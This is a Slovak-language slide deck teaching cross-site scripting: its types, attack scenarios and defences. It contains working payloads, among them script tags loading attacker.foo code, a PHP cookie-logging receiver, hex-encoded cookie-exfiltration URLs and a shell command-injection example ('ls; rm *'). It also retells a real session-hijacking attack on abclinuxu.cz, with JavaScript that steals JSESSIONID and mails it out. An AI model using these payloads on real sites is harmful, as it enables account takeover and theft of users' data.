29
XSS (Cross-site scripting) Matúš Knut

XSS (Cross-site scripting)

  • Upload
    myrrh

  • View
    53

  • Download
    0

Embed Size (px)

DESCRIPTION

XSS (Cross-site scripting). Mat úš Knut. Teória (1). XSS je dnes plnohodnotný typ útoku, predstavuje skutočné nebezpečenstvo pri portáloch s osobnými/platobnými údajmi (paypal, ebay ...). - PowerPoint PPT Presentation

Citation preview

Page 1: XSS  (Cross-site scripting)

XSS (Cross-site scripting)

Matúš Knut

Page 2: XSS  (Cross-site scripting)

Teória (1)• XSS je dnes plnohodnotný typ útoku, predstavuje skutočné

nebezpečenstvo pri portáloch s osobnými/platobnými údajmi (paypal, ebay ...).

• Najväčšou prekážkou XSS útoku je transport kódu k obeti, ale v dobe kedy ľudia klikajú na každú prílohu v e-maily je to problém minimálny.

• do vstupu na webstránke sa vkladá (škodlivý) kód• statické webstranky - plná kontrola nad tým, ako ich prehliadac

interpretuje• dynamicky tvorený obsah takúto kontrolu neposkytuje • problem je moznost vloženia škodlivého kódu, ktorý je následne

vložený do výstupného kódu bez toho, aby mal navstevnik info o tom, čo sa deje ( CERT Coordination Center )

• pomocou client-side skriptov (JavaScript) sa pri zobrazovaní dynamickej stránky spustí – vykoná akciu (napr. získať údaje z cookies obete)

Page 3: XSS  (Cross-site scripting)

Teória (2)

• doležité kontrolovať, či premenná nebola podvrhnutá• uvedomiť si, či sú údaje odosielané metódou GET alebo

POST, pretože ich hodnoty sa nastavia do premenných zodpovedajúcich názvu parametra - potenciálne nebezpečenstvo (defaultne je nastavené “register_globals = off“).

• Preto sa silne odporuca pouzivat na pristup k parametrom zasadne tieto polia:

• $_GET["var1"] // pre parameter var1 predaný metódou GET

• $_POST["var2"] // pre var2 predaný metódou POST• $_SESSION["var3"] // pre premennu var3, ktora je

súčsťou relácie

Page 4: XSS  (Cross-site scripting)

Príklady

• Obyčajný php script - útočník vloží za obsah premennej meno napriklad toto: .

• malou úpravou kódu, môžme dosiahnuť presmerovanie na inú stránku (JS je na takéto účely ako rodený:)

• príklad2: formulár pomocou metódy GET odošle premennú príkaz a kód vyzerá takto: exec”man $prikaz”; Ak zadáme príkaz ls a výsledný string bude vyzerať: “man ls“. Ak ako premennu $prikaz zadáme napr. "ls; rm *"? Aj takto sa môže vytvoriť veľmi nebezpečná aplikacia.

Page 5: XSS  (Cross-site scripting)

Rozdelenie

• Typ 0 Local (Lokálny)

• Typ 1 nestály (non-persistant)

• Typ 2 stály (persistant)

Page 6: XSS  (Cross-site scripting)

Typ 0 Local (Lokálny)

• najzákladnejšia forma XSS • taktiež sa označuje ako DOM-based (založené na

objektovom modele dokumentu) • pri tejto forme je kód spustený na strane klienta (client-

side), kedy sa využíva časť JavaScript kódu namiesto parametra v URL a práve za pomoci JavaScriptu je stránka zmenená (infikovaná) novým kódom (stále na strane klienta), ktorý sa vykoná okamžite po inicializácii browserom obete

• brániť sa tomuto typu dá v prehliadači firefox za pomoci NoScript pluginu, ktorého tvorca sleduje aktuálne trendy v týchto technikách a updatuje svoj plugin pre zvýšenie ochrany jeho používateľmi

Page 7: XSS  (Cross-site scripting)

Scénar útoku pre typ 0

• Útočník nájde XSS dieru a pošle upravenú URL linku s nebezpečným kódom Martine (za pomoci emailu, IM alebo inou formou komunikácie)

• Martina otvorí linku • Infikovaná web stránka otvorí a načíta za pomoci

JavaScriptu útočníkovú stránku so zlým kódom • Stránka spustí tento kód a nebezpečný skript získa

práva Martiny

• Nebezpečný kód teraz môže spúšťať príkazy s právami Martiny na jej vlastnom PC

Page 8: XSS  (Cross-site scripting)

Príklad• Majiteľ stránky http://www.vulnerable.site/welcome.html má na

stránke takýto kód<HTML><TITLE>Welcome!</TITLE>Hi<SCRIPT>var pos=document.URL.indexOf("name=")+5;

document.write(document.URL.substring(pos,document.URL.length));</SCRIPT><BR>Welcome to our system…</HTML>

Page 9: XSS  (Cross-site scripting)

Pokračovanie

• Vďaka tomuto kódu by Request URL vyzerala takto:http://www.vulnerable.site/welcome.html?name=Janko

• a teda nový kód útočníka by bolhttp://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>

• následkom je vyskočenie varovného okna, kde by boli vypísané cookies uložené browserom obete

• <script src="http://www.attacker.foo/xss.js"></script>• <IMG SRC=javascript:alert('XSS')>• <IMG """><SCRIPT>alert("XSS")</SCRIPT>">

Page 10: XSS  (Cross-site scripting)

Typ 1 nestály (non-persistant)• doslovne ne-trvalý, normálne dočasný

• najmenej nebezpečná z dôvodu, že útočník spolu s nebezpečným kódom musí použiť aj tzv. social engineering (sociálne inžinierstvo)

• princíp – využíva sa dynamicky generovaný obsah na základe

užívateľskej aktivity (AJAX, AJAJ atď.) spolu s predpokladom, že stránka neošetruje dáta premenou HTML kódu na entity, ale umožňuje priame zadanie kódu, ktoré je pri vygenerovaní interpretované a vykonané užívateľovým prehliadačom a takto umožní útočníkovi prístup k citlývim dátam ako sú napríklad Cookies alebo Sessions

• tento útok práve kvôli nutnosti použitia veľkej dávky social engineeringu nie je považovaný väčšinou vývojarov za príliš nebezpečný

Page 11: XSS  (Cross-site scripting)

Scénar útoku pre typ 1

• Martina navštívi Janovu stránku ktorá jej umožňí prihlásiť sa pod menom a heslom a vyplniť osobné údaje

• Útočník zistí že Janová stránka je infikovateľná za pomocou XSS

• Útočník aplikuje nebezpečný kód a na Martinin email pošle správu, ktorá vyzerá ako keby prišla z Petrovej stránky (email je spoofnutý)

• Martina otvorí linku ktorá bola uvedená v emaily • Linka infikovaná nebezpečným kódom sa z inicializuje a

ukradne citlivé dáta (cookies, informácie o kreditných kartách, atď)

Page 12: XSS  (Cross-site scripting)

Príklad zo soom

• Máme stránku, o ktorej si myslíme, že na nej može byť xss:www.nasastranka.sk/search.php?premenna=nejakytext

• Search preto, lebo n-p xss sa najčastejšie vyskytuje na stránkach s vyhladávaním

• Skúsime v url zmeniť "nejakytext" na <script>alert(10)</script>

• Ak je stránka náchylná na xss tak na nás vyskočí javascriptové okno s hlásením 10.

Page 13: XSS  (Cross-site scripting)

Pokračovanie• Skúsme teraz do url napísať <script>alert("XSS")</script> • Ak na nás vyskočí okno s nápisom xss znamená to, že stránka

nefiltruje úvodzovky a môžme do alertu vypísať aj text.• Takže keď do okna vypíšeme "HACKED BY VASEMENO" a

posleme url kamarátovi ktorý sa v tom vôbec nevyzná bude mysliet že si tu stránku ste hackli vy:)

• XSS môžme využiť aj nasledovne: • www.nasastranka.sk/search.php?premenna=http://nasweb.sk/

zakernyskript.js • Obsah nášho zákerného skriptu môže napr. zmeniť html kod

stranky, môžme prostredníctvom neho ukradnúť cookies, alebo ak chcete niekomu poriadne zneprijemniť život, tak môže obsahovať tisíc alertov:)

Page 14: XSS  (Cross-site scripting)

Typ 2 stály (persistant)

• umožňuje najsilnejší typ útoku (infikuje najviac obetí). Taktiež sa označuje ako HTML injection (infikovanie HTML), pričom nebezpečný kód stačí použiť len raz.

• nutné použiť malé množstvo social engineeringu (zaujímavý odkaz, ktorý donúti ľudí si otvoriť linku)

• využíva sa uschovanie nebezpečného kódu na strane serveru napríklad v databáze, vstup ani výstup nie je ošetrovaný za pomoci premeny HTML kódu na entity.

• najbežnejším príkladom sú tzv. guestbooky, kedy nie je vstup ani výstup chránený proti HTML injection a tak sa nebezpečný kód automaticky interpretuje pri vygenerovaní stránky až do odstránenia majiteľom.

Page 15: XSS  (Cross-site scripting)

Typ 2 stály (persistant)

• útočník pre zber dát nepotrebuje vlastnú stránku, stačí mu využiť napríklad logovanie do súboru na infikovanom serveri, email alebo inú formu pre dočasné uloženie výsledkov.

• Presistent xss je problém fór, návštevních kníh atd. Spočíva v tom, že údaje, ktoré vložíme sa zapíšu do súboru alebo do databázy a pri každom načítaní stránky sa nami vložený kód vykoná. Keď napr. vložíme alert, tento alert vyskočí každému kto si stránku otvorí.Akebo napr. vložíme xss ktorý bude kradnúť cookies do nejakého často navštevovaného threadu na fóre ukradne cookies každému užívateľovi ktorý si bude správu prečítať. Je to vlastne to isté ako n-p len to tam uvidí každý a nielen vy:)

Page 16: XSS  (Cross-site scripting)

Scénar útoku pre typ 2

• Peter má stránku, ktorá umožňuje ostatným pridávať textové odkazy (guestbook) a tie následne zobrazuje.

• Útočník zistí, že Petrova stránka je napadnuteľná XSS typu 2

• Útočník pridá správu so zaujímavým obsahom a nebezpečným kódom na ktorú by mohol nalákať najviac obetí (veľmi bežne sa uvádzajú linky na "bezplatné porno")

• V prípade, že užívatelia kliknú na tento odkaz, nebezpečný kód začne zbierať citlivé dáta bez vedomia obetí.

• Útočník si prezie svoje logy ukradnutých dát a využije ich.

Page 17: XSS  (Cross-site scripting)

Ďalšie útoky pomocou XSS

Page 18: XSS  (Cross-site scripting)

Príklad 1• Môže napríklad ukradnúť tzv. „account hijacking“, vďaka ktorej sa

útočník môže nalogovať do účtu obeti. • Ako sa dostane script k obeti? • Script v URL sa dá rôznymi spôsobmi maskovať. • 1. Prevedením scriptu do šestnástkovej sústavy. URL potom môže

vyzerať takto• http://www.stranka.sk/hladat.php?najdi= %3C

%73%63%72%69%70%74%20%73%72%63%3D%5C%22%68%74 %74%70%73%3A%2F%2F%77%77%77%2E%75%74%6F%63%6E%69 %6B%6F%76%77%65%62%2E%73%6B%20%2F%78%73%73%2E%6A %73%5C%22%3E%3C%2F%73%63%72%69%70%74%3E

• 2. Upravením URL nasledovne:<img src="adresar/obrazok.jpg"style= background:url(javascript:alert(123))>

Page 19: XSS  (Cross-site scripting)

Príklad 2

• Nájdeme si web na ktorom je možne previesť tento útok. http://www.anypage.com/contact.php?&name=1&email=1&enquiry= <script>alert('xss');</script>

• Na našom serveri si vytvoríme súbor xss.php• <?php

$f = fopen("data.txt", "a");fwrite($f,"IP:{$_SERVER['REMOTE_ADDR']}Ref:{$_SERVER['HTTP_REFERER']}Cookie:{$HTTP_GET_VARS['c']}\n");fclose($f);?>

Page 20: XSS  (Cross-site scripting)

Príklad 2• Upravíme URL• http://www.anypage.com/contact.php?&name=1&email=1&enquiry=

<script>document.location=‘http://www.nasserver.sk/xss.php ?c=‘+document.cookie</scriptgt;

• Script prevedieme do hexadecimálnej sústavy• www.anypage.com/contact.php?&name=1&email=1&enquiry= %3C

%73%63%72%69%70%74%3E%20%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%20%E2%80%98%68%74%74%70%3A%2F%2F%77%77%77%2E%6E%61%73%73%65%72%76%65%72%2E%73%6B%2F%78%73%73%2E%70%68%70%3F%63%3D%E2%80%98%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69 %70%74%3E

• Upravený link pošleme adminovi a počkáme si kým sa na našej stránke http://nasserver.sk/data.txt zobrazí „cookie hijacking“ človeka, ktorému sme poslali náš link. Po získanie cookie, ktorá môže vyzerat takto 747d42f41702345ded793d16d2169ef3 je treba získane informácie použiť.

Page 21: XSS  (Cross-site scripting)

Maskovanie

• V prípade, že do vstupu nemožeme písať úvodzovky a väčšina blokuje aj <script></script> , môžeme celý kód zakódovať do hexa kódu.Kód <script>alert(10)</script> by potom vyzeral nasledovne:

• %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%30%29%3C%2F%73%63%72%69%70%74%3E

• Maskovať môžeme aj inými spôsobmi napr. napísaním "> pred kód.Tag, ktorý je pred tým sa tak ukončí a vykoná sa XSS.

Page 22: XSS  (Cross-site scripting)

Príklad použitia XSS + Session hijacking na abclinuxu.cz

• Abclinuxu.cz sa proti XSS chráni metódou 'whitelisting': Má zoznam povolených HTML tagov a ku každému zoznam povolených argumentov. Všetko ostatné je zakázané. Jedná sa o najúčinnejšiu, avšak z programátorského hľadiska aj najzložitejšiu metódu - celý vstup je potrebné najskôr rozparsovať a následne odfiltrovať 'to zakázané', pričom treba pamätať na kopu iných detailov a drobností (ktoré sú bohužial/naštastie mimo tohto článku). Práve na spomínanom parsovaní abclinuxu zlyhalo.

• Parser sa mi podarilo oklamať týmto HTML kódom:

• <<img src="http://www.abclinuxu.cz/images/site2/sun14.png" alt="" width="0" height="0" onload="TU BOL JAVASCRIPT">>

• Poznámka: Obrázok musí odkazovať na existujúci súbor/URL, inak sa obsah argumentu 'onload' nevykoná.

Page 23: XSS  (Cross-site scripting)

Príklad použitia XSS + Session hijacking na abclinuxu.cz 2

• Dôležité sú prvé dva znaky, resp. zdvojenie znaku 'je menšie ako', čo spôsobilo nesprávne vyhodnotenie argumentov tagu <IMG>. SESSION_ID som následne získal takto (na abclinuxu sa ukladá do cookie s názvom 'JSESSIONID'):

var cookie = '';var part_num = 0;var cookie_var = document.cookie.split('; ');while (part_num < cookie_var.length) {

if (cookie_var[part_num].split('=')[0] == 'JSESSIONID') {cookie = cookie_var[part_num].split('=')[1];

break;}part_num += 1;

}

Page 24: XSS  (Cross-site scripting)

Príklad použitia XSS + Session hijacking na abclinuxu.cz 3

• Jediný problém, ktorý som v tejto chvíli musel ešte vyriešiť, bol spôsob 'dopravenia' tohto ID až ku mne. Na zaslanie ID som mohol použiť iba skripty, ktoré boli priamo súčasťou abclinuxu. Zameral som sa teda na formulár pre odosielanie mailov, ktorý abclinuxu obsahuje. Je na ňom síce ochrana v podobe nutnosti zadať serverom vygenerovaný kód pred odoslaním mailu, avšak jeho obídenie by zvládlo aj malé dieta. Následne vznikol tento kód (trochu skrátený):xmlhttp.open('GET', '/Profile?action=sendEmail&uid=15224');xmlhttp.send('');var pole = xmlhttp.responseText.split(' ');var kod = '';var part_num = 0;while (part_num < pole.length) {

if (pole[part_num] == 'hodnotu') {kod = pole[part_num+1].substring(0,4);break;}

part_num += 1;}

Page 25: XSS  (Cross-site scripting)

Príklad použitia XSS + Session hijacking na abclinuxu.cz 4

• xmlhttp.open('GET', '/Mail?KOD=' + kod + '&sender=admin%40pobox.sk&cc=&bcc=&subject=' + cookie + '&message=' + cookie + '&finish=Odeslat&url=%2FProfile%2F15224&action=finish');

• xmlhttp.send('');

• Najkôr sa pripojím na 'mailový formulár', príjmem HTML stránku vrátenú serverom a následne v nej nájdem overovací kód. Potom ho už len použijem na odoslanie mailu. A ID je moje!

Page 26: XSS  (Cross-site scripting)

Príklad použitia XSS + Session hijacking na abclinuxu.cz 5

• Priebeh samotného útoku• Zápis v blogu som publikoval včera (23.07.2007) o 10:00 ráno pričom

doslova ihneď sa mi na maili začali množiť SESSION_ID-čka rôznych ľudí. O cca 10:10 mi došlo ID Roberta Krátkeho (admin, plný prístup) a o 10:30 som JavaScript z blogu odstránil a útok tým ukončil. Ako bonus prikladám obrázky z administračného rozhrania (príloha B). Za týchto 30 minút som sa dostal na kontá cca 150tich ľudí.

• Záver• Rád by som upozornil, že môj kód v žiadnom prípade nie je dokonalý.

Je to prakticky len cca tretí prípad, keby som sa vo svojom živote stretol s JavaScriptom. Odpustite si preto prosím všetky poznámky smerujúce k nemu a prípadne aj jeho opravy/vylepšenia. Ďakujem. Chyba je už v tejto chvíli (dúfajme, že úplne) odstránená a všetci používatelia, ktorí v hore uvedenom čase zápis v blogu otvorili, by sa mali odhlasiť a znovu prihlásiť (vygeneruje sa im tak nové SESSION_ID, staré bude teda už nepoužiteľné).

Page 27: XSS  (Cross-site scripting)

Zraniteľné stránky

• Spoločnosi a stránky zraniteľné voči XSS: Altavista, MSN, Adobe, Yahoo, Dicrosoft, Dell, HP, F5, Acunetix, MySpace atd.

• Dokazuje to aj XSS objavený na stránkach Youtube, ktorý odstránili za necelých 26 minút od nahlásenia.

• Slovenské weby vs. XSS: Chyby boli nájdené na popredných weboch Bleskovky.sk, Zoznam.sk, serveroch skupiny SME, televízie JOJ, Atlas.sk, Centrum.sk, časopisu PC Revue.

Page 28: XSS  (Cross-site scripting)

Použitá literatúra

• http://www.zive.sk/default.aspx?server=1&article=275941• http://sk.zone-h.org/content/view/290/1/• http://blog.synopsi.com/2007-12-20/google-orkut-pod-

palbou-xss-cerva• http://www.abclinuxu.cz/blog/zatial_bez_mena/2007/7/

xss-plus-session-hijacking-hack-abclinuxu.cz• http://www.luzer.sk/php-script-injection-xss• http://www.soom.cz/index.php?name=usertexts/

show&aid=606• http://blog.synopsi.com/2007-12-12/najpopularnejsie-

utoky-xss-a-csrf-na-vyslni• http://www.soom.cz/index.php?name=usertexts/

show&aid=365

Page 29: XSS  (Cross-site scripting)

Ďakujem za pozornosť